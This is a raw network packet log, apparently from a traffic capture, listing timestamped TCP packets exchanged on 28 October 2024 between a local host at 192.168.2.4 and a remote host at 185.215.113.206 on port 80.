Oct 28, 2024 08:17:37.752444029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752444029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752459049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752491951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752511978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752526045 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752537012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752561092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752589941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752593994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752608061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752635002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752665997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752674103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752674103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752696991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752698898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752733946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752762079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752765894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752788067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752799988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752821922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752831936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752866030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752872944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752872944 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752898932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752906084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752932072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752935886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.752965927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.752973080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.753000975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.753007889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.753034115 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.753057003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.753068924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.753099918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.753104925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.753138065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.753144979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.753144979 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.753207922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.794147015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.794163942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.794230938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.794230938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.794956923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.794970989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.795021057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.795021057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.870553017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.870610952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.870650053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.870676041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.870676041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.870685101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.870762110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.870762110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.875899076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.875933886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.875968933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.875988960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.875988960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.876008034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.876046896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.876046896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.881262064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.881325006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.881377935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.881377935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.881385088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.881418943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.881436110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.881448030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.881498098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.881499052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.886560917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.886578083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.886591911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.886606932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.886621952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.886625051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.886625051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.886636972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.886667013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.886667013 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.886694908 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.891777039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.891813040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.891829014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.891840935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.891841888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.891854048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.891882896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.891890049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.897181988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.897216082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.897228956 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.897248983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.897285938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.897289038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.897289991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.897315025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.897346973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.897356033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.897356987 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.897420883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.902503967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.902539015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.902561903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.902568102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.902580976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.902626038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.902642012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.902658939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.902694941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.902704000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.902704000 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.902769089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.907727957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.907744884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.907758951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.907773972 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.907808065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.907808065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.907857895 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.913038969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.913074017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.913122892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.913131952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.913165092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.913165092 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.913186073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.913199902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.913238049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.913238049 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.918318987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.918351889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.918365955 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.918380976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.918433905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.918433905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.923609018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.923660040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.923685074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.923716068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.923734903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.923775911 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.923793077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.923794031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.923824072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.923845053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.928885937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.928936005 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.928940058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.928968906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.929002047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.929011106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.929011106 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.929100990 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.934211969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.934247971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.934273958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.934284925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.934309959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.934346914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.934351921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.934386015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.934428930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.934428930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.989855051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.989878893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.989927053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.989927053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.994021893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.994039059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.994087934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.994087934 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.995130062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.995153904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.995168924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.995177984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.995184898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.995209932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.995209932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.995229959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.999437094 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.999469995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:37.999514103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:37.999514103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.000406027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.000421047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.000437021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.000463963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.000463963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.000493050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.004790068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.004841089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.004873991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.004873991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.005628109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.005644083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.005659103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.005673885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.005686045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.005686045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.005709887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.005709887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.010169983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.010268927 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.010879040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.010895967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.010920048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.010936975 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.010936975 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.010937929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.010951996 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.010967016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.015551090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.015706062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.016057014 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.016072989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.016119003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.016119003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.016161919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.016222954 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.021043062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.021112919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.021246910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.021262884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.021275997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.021305084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.021305084 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.021326065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.021374941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.021411896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.026382923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.026468992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.026510000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.026556969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.026597977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.026597977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.026678085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.026711941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.026751041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.026751041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.031796932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.031850100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.031856060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.031928062 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.032013893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.032037020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.032051086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.032063961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.032063961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.032082081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.037054062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.037089109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.037132978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.037132978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.037298918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.037333012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.037373066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.037373066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.042318106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.042351961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.042390108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.042395115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.042395115 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.042448044 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.042557001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.042609930 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.042617083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.042752981 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047648907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047671080 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047709942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047720909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047720909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047735929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047750950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047765970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047774076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047774076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047780991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047796011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047796011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047796965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047816038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047894001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047908068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047920942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047935963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047950029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047952890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047952890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047965050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.047971964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047971964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.047980070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.048010111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.048010111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109441996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109545946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109569073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109601021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109616995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109636068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109668016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109688044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109685898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109685898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109685898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109685898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109685898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109685898 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109708071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109724045 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109739065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109744072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109744072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109744072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109755993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109760046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109770060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109772921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109787941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109812021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109827995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109882116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109900951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109920025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109920025 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109924078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109937906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109939098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109952927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.109982014 CET	49766	80	192.168.2.4	185.215.113.206
